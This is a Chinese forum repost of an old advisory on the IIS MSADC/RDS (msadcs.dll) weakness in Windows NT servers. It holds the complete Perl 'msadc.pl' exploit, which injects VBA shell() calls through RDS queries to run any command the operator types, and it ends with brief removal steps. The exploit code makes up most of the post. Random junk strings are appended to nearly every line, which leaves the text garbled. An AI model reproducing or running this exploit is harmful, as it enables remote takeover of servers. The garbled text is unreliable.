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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 2]_fNCNLN  
=\x(Rs3  
涉及程序: IUwMIHq&sW  
Microsoft NT server aeTVcq  
iR{*X E   
描述: a>)|SfsE  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /~_,p,:aP  
hR~~k~84  
详细: -Z&9pI(3R~  
如果你没有时间读详细内容的话,就删除: uVLKR PY  
c:\Program Files\Common Files\System\Msadc\msadcs.dll LVNJlRK  
有关的安全问题就没有了。 )uH#+IU  
@l@erCw@  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 +r 8/\'u-  
?&$BQK  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 hdy N   
关于利用ODBC远程漏洞的描述,请参看: -e_L2<7  
Mzj|57:gx  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  pytF K)U  
aF:|MTC(~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 K`twbTU  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp FSkz[D_}  
s)V<dm;T  
这里不再论述。 njBK{  
DBZ^n9  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: P(~vqo>!  
f _*F&-L  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset kPF qsq  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bjB4  
6e :#x:O  
.#}`r`/  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 94 GF8P  
LVxR *O  
#!perl J4q_}^/2w  
# fV5MI[ t  
# MSADC/RDS 'usage' (aka exploit) script 0I"r*;9?K  
# Cc>+OUL  
# by rain.forest.puppy Tj,1]_`=V$  
# &265 B_'D  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me N Uo   
# beta test and find errors! ffoLCx4o0E  
vjO@"2YEw  
use Socket; use Getopt::Std; 5YnTGf&  
getopts("e:vd:h:XR", \%args); :B5M#D!dO  
^U]B&+m  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \[W)[mH_  
M%qHf{ B  
if (!defined $args{h} && !defined $args{R}) { <~-cp61z;  
print qq~ b&E9xD/;r  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }(Dt,F`  
-h <host> = host you want to scan (ip or domain) h5VZ-v_j  
-d <seconds> = delay between calls, default 1 second {K42PmQL  
-X = dump Index Server path table, if available _Xzl=j9[  
-v = verbose 3.<E{E!F  
-e = external dictionary file for step 5 ctu`FQ  
xjg(}w  
Or a -R will resume a command session "P@oO,.  
}\/ 3B_X6N  
~; exit;} SH/^qDT'  
YuKg|<WO  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 2(K@V6j$M  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 8)51p+a  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} h YEUiQ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); .GOF0puiM  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Z<@dM2b)  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } /{*0 \`;  
Eao^/MKx-  
if (!defined $args{R}){ $ret = &has_msadc; 9 Aq\1QC  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} $I:&5o i  
Y>To k|PV  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" o=y0=,:a?9  
. "cmd /c "; _"688u'88  
$in=<STDIN>; chomp $in; vOi4$I~CJ  
$command="cmd /c " . $in ; Z@ QJ5F1y  
ylwh_&>2  
if (defined $args{R}) {&load; exit;} H&E3RU> `  
^%jk.*  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; YK6zN>M}E  
&try_btcustmr; XX[CTh?O%  
ERz{, >G?  
print "\nStep 2: Trying to make our own DSN..."; X>4qL'b:z  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?5jq)xd2  
!pAb+6~T  
print "\nStep 3: Trying known DSNs..."; 8a,pDE  
&known_dsn; L@>$ Aw  
JJVdq-k+`  
print "\nStep 4: Trying known .mdbs..."; PiZU _~A  
&known_mdb; +jN%w{^=  
5tQZf'pHfd  
if (defined $args{e}){ r%UsUj  
print "\nStep 5: Trying dictionary of DSN names..."; IT=<p60"  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } mVNHH!  
~"}o^#@DwJ  
print "Sorry Charley...maybe next time?\n"; Gx/kel[Y}  
exit; @z1pE@7jK  
 y)GH=@b  
############################################################################## y,cz;2  
u;3wg`e  
sub sendraw { # ripped and modded from whisker )0N^rw kW  
sleep($delay); # it's a DoS on the server! At least on mine... >dYN@cB$}  
my ($pstr)=@_; W~qVZ(G*U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || y';"tDFb  
die("Socket problems\n"); K4K]oT  
if(connect(S,pack "SnA4x8",2,80,$target)){ W2T6JFv  
select(S); $|=1; c= #V*<  
print $pstr; my @in=<S>; : oO ?A  
select(STDOUT); close(S); "1|\V.>>;  
return @in; ['jr+gIfQ  
} else { die("Can't connect...\n"); }} x_$`#m{hL5  
Zj5B}[,l\  
############################################################################## \^]*T'>b  
?`T-A\A=  
sub make_header { # make the HTTP request ^SC2k LI  
my $msadc=<<EOT J`xCd/G  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 35/K9l5  
User-Agent: ACTIVEDATA "'v^X!"  
Host: $ip T3,}CK#O   
Content-Length: $clen W|4h;[w  
Connection: Keep-Alive S\R5SRE  
+ [~)a 4#  
ADCClientVersion:01.06 <tto8Y j  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 N977F$B o  
`Y_G*b.Rm  
--!ADM!ROX!YOUR!WORLD! 8Ai\T_l  
Content-Type: application/x-varg g#b9xTG J^  
Content-Length: $reqlen r2G38/K  
+sFpIiJg  
EOT =>htX(k}  
; $msadc=~s/\n/\r\n/g; x". !&5  
return $msadc;} !yo@i_1D  
.)Zs:5 0l  
############################################################################## %_%Bb Qf  
E(g$f.9  
sub make_req { # make the RDS request  *"Uf|  
my ($switch, $p1, $p2)=@_; L6Io u  
my $req=""; my $t1, $t2, $query, $dsn; $(+#$F<eo+  
&(X67  
if ($switch==1){ # this is the btcustmr.mdb query +sT S1t  
$query="Select * from Customers where City=" . make_shell(); )18C(V-x  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ToX--w4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Jp"yb`w  
rt'pc\|O&  
elsif ($switch==2){ # this is general make table query PnZC I!Mw  
$query="create table AZZ (B int, C varchar(10))"; dCpDA a3  
$dsn="$p1";} _o7t| pl~  
zEk /15  
elsif ($switch==3){ # this is general exploit table query , {X}C  
$query="select * from AZZ where C=" . make_shell(); A~({vb'  
$dsn="$p1";} ;(&S1Rv9  
D`R~d;U~  
elsif ($switch==4){ # attempt to hork file info from index server SFR<T  
$query="select path from scope()"; ;cfPS  
$dsn="Provider=MSIDXS;";} z)Lw\H^/  
l KG' KR.  
elsif ($switch==5){ # bad query ~'v9/I-"  
$query="select"; 7j8lhrM}^  
$dsn="$p1";} * -(8Z>9  
6{!Cx9V  
$t1= make_unicode($query); se=;vp]3a  
$t2= make_unicode($dsn); Xm3r)Bm'3  
$req = "\x02\x00\x03\x00"; (7Ln~J*  
$req.= "\x08\x00" . pack ("S1", length($t1)); qL4s@<|~  
$req.= "\x00\x00" . $t1 ; Z rv:uEl  
$req.= "\x08\x00" . pack ("S1", length($t2)); bs0[ a 1/  
$req.= "\x00\x00" . $t2 ; F-Bj  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ==AmL]*  
return $req;} mgMa)yc!dp  
otX/sg.B*  
############################################################################## jss.j~8  
xVk5%  
sub make_shell { # this makes the shell() statement |y pX O3  
return "'|shell(\"$command\")|'";} <$??Z;6  
7n,=`0{r  
############################################################################## XK&G`cJ[  
-2'1KAk-W  
sub make_unicode { # quick little function to convert to unicode +{0v@6<(02  
my ($in)=@_; my $out; >&ENrvaJ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 0f#xyS 3  
return $out;} %,(X R`  
9oYE  
############################################################################## 0D Lw  
ohjl*dw  
sub rdo_success { # checks for RDO return success (this is kludge) ,b4oV  
my (@in) = @_; my $base=content_start(@in); uS5G(}[  
if($in[$base]=~/multipart\/mixed/){ 25 cJA4  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 0n}v"61q  
return 0;} (67byO{  
u+^KP>rM(  
############################################################################## 8u%,5GV>Xr  
yLPP6_59$  
sub make_dsn { # this makes a DSN for us 0 9qfnQG  
my @drives=("c","d","e","f"); Y"L|D,ex  
print "\nMaking DSN: "; QBh*x/J  
foreach $drive (@drives) { pu5%$}dBE  
print "$drive: "; IhRdn1&  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . zf>*\pZE  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" (eAz nTU  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ~ #7@;C<nt  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 8@Bm2?$}g  
return 0 if $2 eq "404"; # not found/doesn't exist pHXs+Ysw+  
if($2 eq "200") { P\WFm   
foreach $line (@results) { <HtGp6q  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} @]!9;?so  
} return 0;} 6_:I~TTX  
D|*yeS4>  
############################################################################## K|Eelhm  
[(eX\kL  
sub verify_exists { f `D( V-4  
my ($page)=@_; m/"([Y_  
my @results=sendraw("GET $page HTTP/1.0\n\n"); -y>~ :.  
return $results[0];} u=tp80_  
aIDv~#l  
############################################################################## sF>O=F-7  
w{t]^w:  
sub try_btcustmr { mFeR~Bi>!  
my @drives=("c","d","e","f"); iL2__TO  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5KP\#Y  
w3z'ZCcr;"  
foreach $dir (@dirs) { ':3[?d1Es  
print "$dir -> "; # fun status so you can see progress G<* Iw>ep  
foreach $drive (@drives) { o".,JnbX l  
print "$drive: "; # ditto '4_c;](W  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 8 /%{xB^  
$reqlenlen=length( "$reqlen" ); w51l;2$des  
$clen= 206 + $reqlenlen + $reqlen; !FDd5CS  
I,<?Kv  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =Z{jc  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?J,,RK.  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} @ meT8S9t  
2W2T  
############################################################################## TMo DN%{  
ALV(fv$cD  
sub odbc_error { ,i1BoG  
my (@in)=@_; my $base; %`QgG   
my $base = content_start(@in); 0ckmHv  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this b kc*it  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hNhEA $X5  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vK[%c A"  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ctn 4q'Q  
return $in[$base+4].$in[$base+5].$in[$base+6];} +g kJrw  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ec`re+1r  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $8xb|S[  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} h!v< J  
]Vmo >  
############################################################################## gO)":!_n W  
zhm0 J-g  
sub verbose { m[KmXPFht1  
my ($in)=@_; k}p8"'O  
return if !$verbose; r @m]#4  
print STDOUT "\n$in\n";} %B( rW?p&  
P%H  Dz  
############################################################################## Fe4>G8uuwn  
Mm(#N/  
sub save { r~2hTie  
my ($p1, $p2, $p3, $p4)=@_; 7RWgc]@?>  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; El@*Fo  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; d$ n31F  
close OUT;} ZOMYo]  
@"MQ6u G>  
############################################################################## /s~S\dG  
;kY~-Om  
sub load { pu+Q3NfR  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; "TJ*mN.i{}  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); mLpM8~L  
@p=<IN>; close(IN); 92t.@!m`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); -fl6M-CYX  
$target= inet_aton($ip) || die("inet_aton problems"); } c k <R  
print "Resuming to $ip ..."; ruGeN  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ,`k&9o7  
if($p[1]==1) { }{VOyPG  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; \Dy|}LE  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; A+gS'DZ9C  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )Z:D}r8[  
if (rdo_success(@results)){print "Success!\n";} W>i"p~!  
else { print "failed\n"; verbose(odbc_error(@results));}} /.<v,CR  
elsif ($p[1]==3){ U: Wet,  
if(run_query("$p[3]")){ YcX\t6VK  
print "Success!\n";} else { print "failed\n"; }} 4l%1D.3-O  
elsif ($p[1]==4){ :>2wVN&\c  
if(run_query($drvst . "$p[3]")){ >Rd~-w)!|  
print "Success!\n"; } else { print "failed\n"; }} (/N&_r4x  
exit;} )0iN2L]U;  
E "}@SaB-  
############################################################################## ,!b<SQ5M  
|5tZ*$nGa  
sub create_table { &=BzsBh  
my ($in)=@_; Hj|&P/jY]*  
$reqlen=length( make_req(2,$in,"") ) - 28; ?KOw~-u  
$reqlenlen=length( "$reqlen" ); jT =|!,Pn  
$clen= 206 + $reqlenlen + $reqlen; (Jw_2pHxr"  
my @results=sendraw(make_header() . make_req(2,$in,"")); )?UoF&c/  
return 1 if rdo_success(@results); CDRbYO  
my $temp= odbc_error(@results); verbose($temp); vM6W64S  
return 1 if $temp=~/Table 'AZZ' already exists/; gWGDm~+  
return 0;} C_kuW+H  
cO*g4VL"[  
############################################################################## `H6~<9r  
3>-h- cpMX  
sub known_dsn { 0Zi+x#&d  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;_)~h$1%=  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 3g;,  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", SXZ9+<\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ESIP+  
U`i5B;k}-  
foreach $dSn (@dsns) { *k}m?;esb  
print "."; ;6Yg}L  
next if (!is_access("DSN=$dSn")); UGI<V!  
if(create_table("DSN=$dSn")){ wCB*v<*  
print "$dSn successful\n"; v={{ $=/t  
if(run_query("DSN=$dSn")){ ~}}<+JEEO  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :86:U 0^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $vfgYl4q  
R-S<7Q3E0=  
############################################################################## #%\0][Xf  
,;6V=ok  
sub is_access { /oHCV0!0  
my ($in)=@_; z6C(?R  
$reqlen=length( make_req(5,$in,"") ) - 28; AtG~!)hG  
$reqlenlen=length( "$reqlen" ); TXmS$q   
$clen= 206 + $reqlenlen + $reqlen; (Z(S?`')  
my @results=sendraw(make_header() . make_req(5,$in,"")); $M 8& &M  
my $temp= odbc_error(@results); >ep<W<b  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ,UMr_ e{|  
return 0;} Oh*~+/u}q  
^w\22 Q  
############################################################################## p8~lGuH  
.Q,"gsY  
sub run_query { \D?'.Wo%  
my ($in)=@_; lD0-S0i  
$reqlen=length( make_req(3,$in,"") ) - 28; k.ou$mIY  
$reqlenlen=length( "$reqlen" ); X3l>GeUi  
$clen= 206 + $reqlenlen + $reqlen; 2!J#XzR0W  
my @results=sendraw(make_header() . make_req(3,$in,"")); tF`L]1r>  
return 1 if rdo_success(@results); F,wB6Cw  
my $temp= odbc_error(@results); verbose($temp); %Hbq3U30  
return 0;} B>^6tdz  
n[iwi   
############################################################################## 6:#o0OeBP  
#&}- q RA  
sub known_mdb { CUI3^;&S  
my @drives=("c","d","e","f","g"); {5E8eQ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); J[ Gpd  
my $dir, $drive, $mdb; q!z"YpYB  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yub}AuU`v  
5qtk#FB  
# this is sparse, because I don't know of many  j%Au0k  
my @sysmdbs=( "\\catroot\\icatalog.mdb", .[O{,r  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2`$*HPj+G  
"\\system32\\certmdb.mdb", gT+g@\u[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% A*y4<'}<  
2d[q5p  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", @.eN+o9|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @ep.wW  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 4H-eFs%5  
"\\cfusion\\cfapps\\security\\realm_.mdb", Trv}YT.  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", :W*yfhLt  
"\\cfusion\\database\\cfexamples.mdb", i< ^X z  
"\\cfusion\\database\\cfsnippets.mdb", Y\]ZIvTSb  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", k4K. ml IO  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ~v;I>ij  
"\\cfusion\\brighttiger\\database\\cleam.mdb", nHdQe  
"\\cfusion\\database\\smpolicy.mdb", XHk"nbj  
"\\cfusion\\database\cypress.mdb", *(OG+OkC  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *#Cx-J  
"\\website\\cgi-win\\dbsample.mdb", oe|#!SM(  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", oRWje#4O  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" fs 'SCwx  
); #these are just kXwAw]ogN  
foreach $drive (@drives) { 3CoZ2  
foreach $dir (@dirs){  ##rkyd  
foreach $mdb (@sysmdbs) { e"S?qpJK  
print "."; P51M?3&=l  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ I`V<Sh^Qd  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";  cca g8LC  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ]].~/kC^3k  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; t`Z'TqP R  
} else { print "Something's borked. Use verbose next time\n"; }}}}} og}Ri!^  
'Cc~|gOgD  
foreach $drive (@drives) { YhN<vZ}U!~  
foreach $mdb (@mdbs) { Z=a%)Ki?Ag  
print "."; S0^a)#D &  
if(create_table($drv . $drive . $dir . $mdb)){ 7S a9  
print "\n" . $drive . $dir . $mdb . " successful\n"; duY?LJ@g  
if(run_query($drv . $drive . $dir . $mdb)){ i/9iM\2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; kW/G=_6  
} else { print "Something's borked. Use verbose next time\n"; }}}} QoZV 6  
} lmeTW0U@9(  
BiYxI{VFD  
############################################################################## b)d;eS  
BDI|z/~&  
sub hork_idx { >@2<^&K`  
print "\nAttempting to dump Index Server tables...\n"; zZ=SAjT QP  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; :<J7g`f  
$reqlen=length( make_req(4,"","") ) - 28; {=Zy;Er  
$reqlenlen=length( "$reqlen" ); }4|EHhG  
$clen= 206 + $reqlenlen + $reqlen; ~Gu$E qQ  
my @results=sendraw2(make_header() . make_req(4,"","")); fqgp{(`@>  
if (rdo_success(@results)){ 6gV*G  
my $max=@results; my $c; my %d; :0J`4  
for($c=19; $c<$max; $c++){  >(Y CZ  
$results[$c]=~s/\x00//g; ;qWu8\T+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; su%(!XJQpg  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; &:  Q'X  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; a^R?w|zCX  
$d{"$1$2"}="";} Bh3F4k2bg7  
foreach $c (keys %d){ print "$c\n"; } ;4rhh h&  
} else {print "Index server doesn't seem to be installed.\n"; }} 2l<2srEK  
ukiWNF/  
############################################################################## /$c87\  
EF`}*7)  
sub dsn_dict { u} ot-!}Q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); dQ`Tt- n  
while(<IN>){ .?:*0  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; N:lfKI  
next if (!is_access("DSN=$dSn")); #t ;`  
if(create_table("DSN=$dSn")){ ]fM|cN8(zM  
print "$dSn successful\n"; ;{ifLI0#  
if(run_query("DSN=$dSn")){ m;@q('O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :PO./IBX  
print "Something's borked. Use verbose next time\n";}}} AF'<  
print "\n"; close(IN);} %(YQ)=w  
v;]rFc#Px[  
############################################################################## $mQ0w~:@  
up5f]:!  
sub sendraw2 { # ripped and modded from whisker f^F;`;z  
sleep($delay); # it's a DoS on the server! At least on mine... *Al@|5  
my ($pstr)=@_; >d + }$dB  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || X)b$CG  
die("Socket problems\n"); P[3i!"O>  
if(connect(S,pack "SnA4x8",2,80,$target)){ 25SWIpgG  
print "Connected. Getting data"; eAy,T<#  
open(OUT,">raw.out"); my @in; 1/}H 0\9'  
select(S); $|=1; print $pstr; =-U0r$sK+F  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ,2M}qs"P7G  
close(OUT); select(STDOUT); close(S); return @in; i7Qb~RW  
} else { die("Can't connect...\n"); }} KQ\K :#  
CHgip&(.F  
############################################################################## U{2xgN J  
i~';1 .g  
sub content_start { # this will take in the server headers y[_k/.1  
my (@in)=@_; my $c; _uIS[%4g  
for ($c=1;$c<500;$c++) { FZi@h  
if($in[$c] =~/^\x0d\x0a/){ Sm'Tz&!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } h(|T.  
else { return $c+1; }}} Z [!"x&H]h  
return -1;} # it should never get here actually Hyb(.hlZh  
2K}49*  
############################################################################## 4XpWDfa.}  
BSm"]!D8*  
sub funky { ,L<JG  
my (@in)=@_; my $error=odbc_error(@in); ]+D@E2E  
if($error=~/ADO could not find the specified provider/){ 2*Qv6 :qK  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; #mQ@4k9i  
exit;} JK/{Ik F  
if($error=~/A Handler is required/){ :;{M0  
print "\nServer has custom handler filters (they most likely are patched)\n"; As,`($=  
exit;} 6v)TCj/  
if($error=~/specified Handler has denied Access/){ fL*7u\m:  
print "\nServer has custom handler filters (they most likely are patched)\n"; N5?bflY  
exit;}} '`jGr+K,wU  
:v^/k]S  
############################################################################## -XBZ1q  
!5ps,+o  
sub has_msadc { f?5>V   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /QXUD.( 8  
my $base=content_start(@results); bmG`:_  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); z CLaHx!  
return 0;} (`.# n3{  
pD{OB  
######################## }* :3]  
j`_S%E%X  
Wiis<^)  
解决方案: +CSpL2@  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll D+7xMT8pqH  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 {nmG/dn {  
*Soi  
拿出来充数 哈哈
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